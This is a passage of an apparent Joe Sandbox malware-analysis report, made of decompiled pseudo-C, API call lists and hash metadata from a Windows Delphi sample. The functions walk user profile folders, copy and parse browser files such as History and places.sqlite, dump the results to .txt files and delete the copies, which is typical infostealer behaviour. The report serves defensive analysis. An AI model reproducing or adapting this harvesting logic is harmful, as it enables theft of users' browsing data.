				_t141 = __edi;
				_t144 = _t145;
				_t146 = _t145 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t144);
				_push(0x412fd4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x412ffc);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x412ffc);
					_t73 =  *0x41b180; // 0x41c91c
					_push( *_t73);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t144);
						_push(0x412f48);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x412ffc);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(L"\\History");
							E00403E78();
							E00412974(_v640, 0,  &_v636, _t141, _t142);
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x412ffc);
							_push(_v12);
							_push(0x41301c);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t110);
							E0040E6D4(_t110, 0, _v648, _t141, _t142);
						}
						_pop(_t132);
						 *[fs:eax] = _t132;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t127);
				 *[fs:eax] = _t127;
				_push(E00412FDB);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00412d6c
0x00412d6c
0x00412d6d
0x00412d6f
0x00412d75
0x00412d76
0x00412d77
0x00412d7a
0x00412d80
0x00412d86
0x00412d8c
0x00412d92
0x00412d98
0x00412d9e
0x00412da4
0x00412daa
0x00412db0
0x00412db6
0x00412db9
0x00412dbc
0x00412dc2
0x00412dca
0x00412dd2
0x00412dd9
0x00412dda
0x00412ddf
0x00412de2
0x00412dfa
0x00412e10
0x00412e13
0x00412e13
0x00412e16
0x00412e2c
0x00412e31
0x00412e37
0x00412e3c
0x00412e41
0x00412e4e
0x00412e60
0x00412e68
0x00412e69
0x00412e6e
0x00412e71
0x00412e78
0x00412e7e
0x00412e81
0x00412e97
0x00412e9c
0x00412ea2
0x00412eb2
0x00412ec3
0x00412ed4
0x00412edf
0x00412ee0
0x00412ee3
0x00412ee8
0x00412eeb
0x00412f01
0x00412f06
0x00412f0c
0x00412f1c
0x00412f2d
0x00412f38
0x00412f39
0x00412f39
0x00412f40
0x00412f43
0x00412f43
0x00412f62
0x00412f6e
0x00412f75
0x00412f78
0x00412f7b
0x00412f8b
0x00412f96
0x00412fa6
0x00412fb1
0x00412fc1
0x00412fd3

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00412FD4,?,00000000,?,00000000,?,00413361,00000000,00000000,00413B6D,?,00000000,00000024), ref: 00412E0B
FindNextFileW.KERNEL32(?,?,0041C91C,00412FFC,?,00412FFC,0041A232,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F5D
FindClose.KERNEL32(?,?,?,0041C91C,00412FFC,?,00412FFC,0041A232,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F6E

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Part of subcall function 00412974: GetTickCount.KERNEL32(00000000,00412BB7,?,00000000,00412C41,?,00000000,?,00000000,00000000,00000000,?,00412EC8,\History,?,00412FFC), ref: 004129B8
Part of subcall function 00412974: CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00412A34
Part of subcall function 00412974: DeleteFileW.KERNEL32(00000000), ref: 00412BD5

Strings

\History, xrefs: 00412EA2
\*.*, xrefs: 00412DF2
.txt, xrefs: 00412F0C

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$Find$CloseCopyCountDeleteE4513E465FirstNextTick
String ID: .txt$\*.*$\History
API String ID: 1526635075-2232271174
Opcode ID: d5d256c756bc9a0ca0ba1b22b5d48c2297ca2773f1b472ef4f445c44d961df31
Instruction ID: b8b382f9890bf67c4ce716ca2eff32e8703a5b333aba7ace94e6d5da5dd104b6
Opcode Fuzzy Hash: d5d256c756bc9a0ca0ba1b22b5d48c2297ca2773f1b472ef4f445c44d961df31
Instruction Fuzzy Hash: 14514C749042199BCF50EF61CD89ACDBBB8FB48304F5041FAA108B3291DB789F959F14

Uniqueness

Uniqueness Score: 1.97%

Function 00413030, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 141
fileCOMMON

C-Code - Quality: 51%

			E00413030(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t72;
				void* _t108;
				intOrPtr _t126;
				intOrPtr _t139;
				void* _t143;
				void* _t144;
				intOrPtr _t145;

				_t141 = __esi;
				_t140 = __edi;
				_t143 = _t144;
				_t145 = _t144 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t143);
				_push(0x41328e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t145;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x4132b8);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x4132b8);
					_t72 =  *0x41b3bc; // 0x41c80c
					_push( *_t72);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t143);
						_push(0x413202);
						_push( *[fs:eax]);
						 *[fs:eax] = _t145;
						_push(_v8);
						_push(0x4132b8);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(L"\\places.sqlite");
						E00403E78();
						E0041253C(_v640, 0,  &_v636, _t140, _t141);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x4132b8);
						_push(_v12);
						_push(0x4132e4);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t108);
						E0040E6D4(_t108, 0, _v648, _t140, _t141);
						_pop(_t139);
						 *[fs:eax] = _t139;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t126);
				 *[fs:eax] = _t126;
				_push(E00413295);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x00413030
0x00413030
0x00413031
0x00413033
0x00413039
0x0041303a
0x0041303b
0x0041303e
0x00413044
0x0041304a
0x00413050
0x00413056
0x0041305c
0x00413062
0x00413068
0x0041306e
0x00413074
0x0041307a
0x0041307d
0x00413080
0x00413086
0x0041308e
0x00413096
0x0041309d
0x0041309e
0x004130a3
0x004130a6
0x004130be
0x004130d4
0x004130d7
0x004130d7
0x004130da
0x004130f0
0x004130f5
0x004130fb
0x00413100
0x00413105
0x00413112
0x00413124
0x0041312c
0x0041312d
0x00413132
0x00413135
0x00413138
0x0041313b
0x00413151
0x00413156
0x0041315c
0x0041316c
0x0041317d
0x0041318e
0x00413199
0x0041319a
0x0041319d
0x004131a2
0x004131a5
0x004131bb
0x004131c0
0x004131c6
0x004131d6
0x004131e7
0x004131f2
0x004131f3
0x004131fa
0x004131fd
0x004131fd
0x0041321c
0x00413228
0x0041322f
0x00413232
0x00413235
0x00413245
0x00413250
0x00413260
0x0041326b
0x0041327b
0x0041328d

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,0041328E,?,00000000,?,00000000,?,00413A53,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004130CF

Part of subcall function 0041253C: GetTickCount.KERNEL32(00000000,0041277F,?,00000000,00412809,?,00000000,?,00000000,00000000,00000000,?,00413182,\places.sqlite,?,004132B8), ref: 00412580
Part of subcall function 0041253C: CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 004125FC
Part of subcall function 0041253C: DeleteFileW.KERNEL32(00000000), ref: 0041279D

FindNextFileW.KERNEL32(?,?,0041C80C,004132B8,?,004132B8,0041A232,00000000,?,00000000,0041328E,?,00000000,?,00000000), ref: 00413217
FindClose.KERNEL32(?,?,?,0041C80C,004132B8,?,004132B8,0041A232,00000000,?,00000000,0041328E,?,00000000,?,00000000), ref: 00413228

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

\*.*, xrefs: 004130B6
\places.sqlite, xrefs: 0041315C
.txt, xrefs: 004131C6

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$Find$CloseCopyCountDeleteE4513E465FirstNextTick
String ID: .txt$\*.*$\places.sqlite
API String ID: 1526635075-3919338718
Opcode ID: ec560269c81936adf07f7ff3aaaf6b143af8a4e6812d11f13f8f76c8d5feb3d0
Instruction ID: db2ad4c0925ffecf13339862ae006cc807f871b19183d5a4da560477eb916681
Opcode Fuzzy Hash: ec560269c81936adf07f7ff3aaaf6b143af8a4e6812d11f13f8f76c8d5feb3d0
Instruction Fuzzy Hash: 50512E749042199FCF50EF62CC89ACDBBB9EB48305F5041FAA508B3251DB399F858F18

Uniqueness

Uniqueness Score: 7.75%

Function 00404C71, Relevance: 9.0, APIs: 6, Instructions: 41
threadCOMMON

C-Code - Quality: 100%

			E00404C71(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edi) {
				long _t11;
				void* _t16;

				_t16 = __ebx;
				 *__edi =  *__edi + __ecx;
				 *((intOrPtr*)(__eax - 0x41c5a4)) =  *((intOrPtr*)(__eax - 0x41c5a4)) + __eax - 0x41c5a4;
				 *0x41b00c = 2;
				 *0x41c010 = 0x4010b8;
				 *0x41c014 = 0x4010c0;
				 *0x41c036 = 2;
				 *0x41c000 = E004045C4;
				if(E00402A94() != 0) {
					_t3 = E00402AC4();
				}
				E00402B88(_t3);
				 *0x41c03c = 0xd7b0;
				 *0x41c208 = 0xd7b0;
				 *0x41c3d4 = 0xd7b0;
				 *0x41c02c = GetCommandLineA();
				 *0x41c028 = E00401180();
				if((GetVersion() & 0x80000000) == 0x80000000) {
					 *0x41c5a8 = E00404BA8(GetThreadLocale(), _t16, __eflags);
				} else {
					if((GetVersion() & 0x000000ff) <= 4) {
						 *0x41c5a8 = E00404BA8(GetThreadLocale(), _t16, __eflags);
					} else {
						 *0x41c5a8 = 3;
					}
				}
				_t11 = GetCurrentThreadId();
				 *0x41c020 = _t11;
				return _t11;
			}

0x00404c71
0x00404c76
0x00404c7b
0x00404c7d
0x00404c84
0x00404c8e
0x00404c98
0x00404c9f
0x00404cb0
0x00404cb2
0x00404cb2
0x00404cb7
0x00404cbc
0x00404cc5
0x00404cce
0x00404cdc
0x00404ce6
0x00404cfa
0x00404d33
0x00404cfc
0x00404d0a
0x00404d22
0x00404d0c
0x00404d0c
0x00404d0c
0x00404d0a
0x00404d38
0x00404d3d
0x00404d42

APIs

Part of subcall function 00402A94: GetKeyboardType.USER32(00000000), ref: 00402A99
Part of subcall function 00402A94: GetKeyboardType.USER32(00000001), ref: 00402AA5

GetCommandLineA.KERNEL32 ref: 00404CD7

Part of subcall function 00401180: GetStartupInfoA.KERNEL32 ref: 0040118A

GetVersion.KERNEL32 ref: 00404CEB
GetVersion.KERNEL32 ref: 00404CFC
GetThreadLocale.KERNEL32 ref: 00404D18
GetThreadLocale.KERNEL32 ref: 00404D29

Part of subcall function 00404BA8: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404C0E), ref: 00404BCE

GetCurrentThreadId.KERNEL32 ref: 00404D38

Part of subcall function 00402AC4: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
Part of subcall function 00402AC4: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
Part of subcall function 00402AC4: RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: LocaleThread$InfoKeyboardTypeVersion$CloseCommandCurrentLineOpenQueryStartupValue
String ID:
API String ID: 1698451817-0
Opcode ID: c16a9bae5052d1d5fcf6e5d105fd87e92066834fdc2b316fa926a4ee5fff1b39
Instruction ID: 1721a3a9195e16165242481212ff4b6f39af3106f899a404dc8ffc4097ba6689
Opcode Fuzzy Hash: c16a9bae5052d1d5fcf6e5d105fd87e92066834fdc2b316fa926a4ee5fff1b39
Instruction Fuzzy Hash: 210152F0881341D9D310BFB29C863893EA0AF89348F51C53FA2407A2F2D77D40448BAE

Uniqueness

Uniqueness Score: 0.02%

Function 0041160C, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196
fileCOMMON

C-Code - Quality: 41%

			E0041160C(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				char _v660;
				char _v664;
				char _v668;
				char _v672;
				char _v676;
				intOrPtr _v680;
				char _v684;
				intOrPtr* _t89;
				intOrPtr* _t123;
				void* _t135;
				intOrPtr* _t139;
				void* _t151;
				intOrPtr _t155;
				intOrPtr _t171;
				intOrPtr _t178;
				intOrPtr _t198;
				intOrPtr _t199;

				_t196 = __esi;
				_t195 = __edi;
				_t153 = __ebx;
				_t198 = _t199;
				_push(__ecx);
				_t155 = 0x54;
				do {
					_push(0);
					_push(0);
					_t155 = _t155 - 1;
				} while (_t155 != 0);
				_push(_t155);
				_t1 =  &_v8;
				 *_t1 = _t155;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t198);
				_push(0x41195e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t199;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x411988);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411988);
					_t89 =  *0x41b180; // 0x41c91c
					_push( *_t89);
					E00403E78();
					if(E0040776C(_v624, _t153, 0x104) != 0) {
						_push(_t198);
						_push(0x41189c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t199;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x411988);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(0x411988);
							_t139 =  *0x41b180; // 0x41c91c
							_push( *_t139);
							E00403E78();
							E00411034(_v640, _t153,  &_v636, _t195, _t196);
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x411988);
							_push(_v12);
							_push(0x411990);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t151);
							E0040E6D4(_t151, _t153, _v648, _t195, _t196);
						}
						if(_a4 == 0) {
							_push(_v8);
							_push(0x411988);
							E00403D6C( &_v672, 0x104,  &(_v616.cFileName));
							_push(_v672);
							_push(0x411988);
							_t123 =  *0x41b180; // 0x41c91c
							_push( *_t123);
							E00403E78();
							E004112D0(_v668, _t153,  &_v664, _t195, _t196);
							E0040377C( &_v660, _v664);
							_push(_v660);
							_push(_v16);
							_push(0x411988);
							_push(_v12);
							_push(0x411990);
							E00403D6C( &_v684, 0x104,  &(_v616.cFileName));
							_push(_v684);
							_push(0x411990);
							_push(E004119A8);
							_push(E004119A8);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v676, _v680);
							_pop(_t135);
							E0040E6D4(_t135, _t153, _v676, _t195, _t196);
						}
						_pop(_t178);
						 *[fs:eax] = _t178;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t171);
				 *[fs:eax] = _t171;
				_push(E00411968);
				E00403BF4( &_v684, 2);
				E004034E4( &_v676);
				E00403BF4( &_v672, 3);
				E004034E4( &_v660);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x0041160c
0x0041160c
0x0041160c
0x0041160d
0x0041160f
0x00411610
0x00411615
0x00411615
0x00411617
0x00411619
0x00411619
0x0041161c
0x0041161d
0x0041161d
0x00411620
0x00411621
0x00411622
0x00411623
0x00411626
0x00411629
0x0041162f
0x00411637
0x0041163f
0x00411646
0x00411647
0x0041164c
0x0041164f
0x00411667
0x0041167d
0x00411680
0x00411680
0x00411683
0x00411699
0x0041169e
0x004116a4
0x004116a9
0x004116ae
0x004116bb
0x004116cd
0x004116d5
0x004116d6
0x004116db
0x004116de
0x004116e5
0x004116eb
0x004116ee
0x00411704
0x00411709
0x0041170f
0x00411714
0x00411719
0x00411726
0x00411737
0x00411748
0x00411753
0x00411754
0x00411757
0x0041175c
0x0041175f
0x00411775
0x0041177a
0x00411780
0x00411790
0x004117a1
0x004117ac
0x004117ad
0x004117ad
0x004117b6
0x004117bc
0x004117bf
0x004117d5
0x004117da
0x004117e0
0x004117e5
0x004117ea
0x004117f7
0x00411808
0x00411819
0x00411824
0x00411825
0x00411828
0x0041182d
0x00411830
0x00411846
0x0041184b
0x00411851
0x00411856
0x0041185b
0x00411860
0x00411870
0x00411881
0x0041188c
0x0041188d
0x0041188d
0x00411894
0x00411897
0x00411897
0x004118b6
0x004118c2
0x004118c9
0x004118cc
0x004118cf
0x004118df
0x004118ea
0x004118fa
0x00411905
0x00411915
0x00411920
0x00411930
0x0041193b
0x0041194b
0x0041195d

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,0041195E,?,00000000,?,00000000,00000053,00000000,00000000,00000000,?,00411CBE,00000000,00000000), ref: 00411678
FindNextFileW.KERNEL32(?,?,0041C91C,00411988,?,00411988,0041A232,00000000,?,00000000,0041195E,?,00000000,?,00000000,00000053), ref: 004118B1
FindClose.KERNEL32(?,?,?,0041C91C,00411988,?,00411988,0041A232,00000000,?,00000000,0041195E,?,00000000,?,00000000), ref: 004118C2

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Part of subcall function 004112D0: GetTickCount.KERNEL32(00000000,00411526,?,00000000,004115AB,?,00000000,?,00000000,00000009,00000000,00000000,?,0041180D,0041C91C,00411988), ref: 00411315
Part of subcall function 004112D0: CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00411391
Part of subcall function 004112D0: DeleteFileW.KERNEL32(00000000), ref: 00411544

Part of subcall function 00411034: GetTickCount.KERNEL32(00000000,00411212,?,00000000,00411282,?,00000000,?,00000000,00000000,00000000,?,0041173C,0041C91C,00411988,?), ref: 00411078
Part of subcall function 00411034: CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 004110F4
Part of subcall function 00411034: DeleteFileW.KERNEL32(00000000), ref: 00411230

Strings

\*.*, xrefs: 0041165F
.txt, xrefs: 00411780, 00411860

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$Find$CopyCountDeleteTick$CloseE4513E465FirstNext
String ID: .txt$\*.*
API String ID: 2899595449-2615687548
Opcode ID: 42ad6f2f07dfb6a25be9780b71739f636c23f16ae05a15835c9cb2f7ef558c53
Instruction ID: 5d1a81ccab342788691620b24a62b0bf455cea36908fa984f2d283373c0e855c
Opcode Fuzzy Hash: 42ad6f2f07dfb6a25be9780b71739f636c23f16ae05a15835c9cb2f7ef558c53
Instruction Fuzzy Hash: 40813C7490011DAFCF11EB51CC56BDDB779EF44304F6081EAA218B62A1DB399F858F58

Uniqueness

Uniqueness Score: 1.69%

Function 004119A8, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145
fileCOMMON

C-Code - Quality: 53%

			E004119A8(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t74;
				intOrPtr* _t99;
				void* _t111;
				void* _t115;
				intOrPtr _t130;
				intOrPtr _t143;
				void* _t147;
				void* _t148;
				intOrPtr _t149;

				_t145 = __esi;
				_t144 = __edi;
				_t115 = __ebx + 1;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				_v117 = _v117 + __edx;
				_t147 = _t148;
				_t149 = _t148 + 0xfffffd74;
				_push(_t115);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t147);
				_push(0x411c11);
				_push( *[fs:eax]);
				 *[fs:eax] = _t149;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x411c38);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411c38);
					_t74 =  *0x41b3bc; // 0x41c80c
					_push( *_t74);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t147);
						_push(0x411b85);
						_push( *[fs:eax]);
						 *[fs:eax] = _t149;
						_push(_v8);
						_push(0x411c38);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(0x411c38);
						_t99 =  *0x41b3bc; // 0x41c80c
						_push( *_t99);
						E00403E78();
						E00410D88(_v640, 0,  &_v636, _t144, _t145);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x411c38);
						_push(_v12);
						_push(E00411C40);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t111);
						E0040E6D4(_t111, 0, _v648, _t144, _t145);
						_pop(_t143);
						 *[fs:eax] = _t143;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t130);
				 *[fs:eax] = _t130;
				_push(E00411C18);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x004119a8
0x004119a8
0x004119a8
0x004119a9
0x004119ab
0x004119ad
0x004119af
0x004119b5
0x004119b6
0x004119b7
0x004119ba
0x004119c0
0x004119c6
0x004119cc
0x004119d2
0x004119d8
0x004119de
0x004119e4
0x004119ea
0x004119f0
0x004119f6
0x004119f9
0x004119fc
0x00411a02
0x00411a0a
0x00411a12
0x00411a19
0x00411a1a
0x00411a1f
0x00411a22
0x00411a3a
0x00411a50
0x00411a53
0x00411a53
0x00411a56
0x00411a6c
0x00411a71
0x00411a77
0x00411a7c
0x00411a81
0x00411a8e
0x00411aa0
0x00411aa8
0x00411aa9
0x00411aae
0x00411ab1
0x00411ab4
0x00411ab7
0x00411acd
0x00411ad2
0x00411ad8
0x00411add
0x00411ae2
0x00411aef
0x00411b00
0x00411b11
0x00411b1c
0x00411b1d
0x00411b20
0x00411b25
0x00411b28
0x00411b3e
0x00411b43
0x00411b49
0x00411b59
0x00411b6a
0x00411b75
0x00411b76
0x00411b7d
0x00411b80
0x00411b80
0x00411b9f
0x00411bab
0x00411bb2
0x00411bb5
0x00411bb8
0x00411bc8
0x00411bd3
0x00411be3
0x00411bee
0x00411bfe
0x00411c10

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00411C11,?,00000000,?,00000000,?,004123C4,00000000,00000000,004123CE,?,00000000,00000000), ref: 00411A4B

Part of subcall function 00410D88: GetTickCount.KERNEL32(00000000,00410F66,?,00000000,00410FE1,?,00000000,?,00000000,00000000,00000000,?,00411B05,0041C80C,00411C38,?), ref: 00410DCC
Part of subcall function 00410D88: CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00410E48
Part of subcall function 00410D88: DeleteFileW.KERNEL32(00000000), ref: 00410F84

FindNextFileW.KERNEL32(?,?,0041C80C,00411C38,?,00411C38,0041A232,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411B9A
FindClose.KERNEL32(?,?,?,0041C80C,00411C38,?,00411C38,0041A232,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411BAB

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

\*.*, xrefs: 00411A32
.txt, xrefs: 00411B49

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: File$Find$CloseCopyCountDeleteE4513E465FirstNextTick
String ID: .txt$\*.*
API String ID: 1526635075-2615687548
Opcode ID: 1e7d7e85e0fc797bc53a84780c3fe4d989827ee1ff23332d6361331b0a78df9a
Instruction ID: bf64687dc2ad86eb18c2fbcd59d677e1e6eaf9ec35dfa69074ee7f3f85d2a588
Opcode Fuzzy Hash: 1e7d7e85e0fc797bc53a84780c3fe4d989827ee1ff23332d6361331b0a78df9a
Instruction Fuzzy Hash: 25514B749052199FCF61EF61CD85ACDBBB8EB48304F5081FAA508B32A1DB389F858F54

Uniqueness

Uniqueness Score: 1.69%

Function 004119AC, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143
fileCOMMON

C-Code - Quality: 51%

			E004119AC(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t72;
				intOrPtr* _t97;
				void* _t109;
				intOrPtr _t127;
				intOrPtr _t140;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t142 = __esi;
				_t141 = __edi;
				_t144 = _t145;
				_t146 = _t145 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
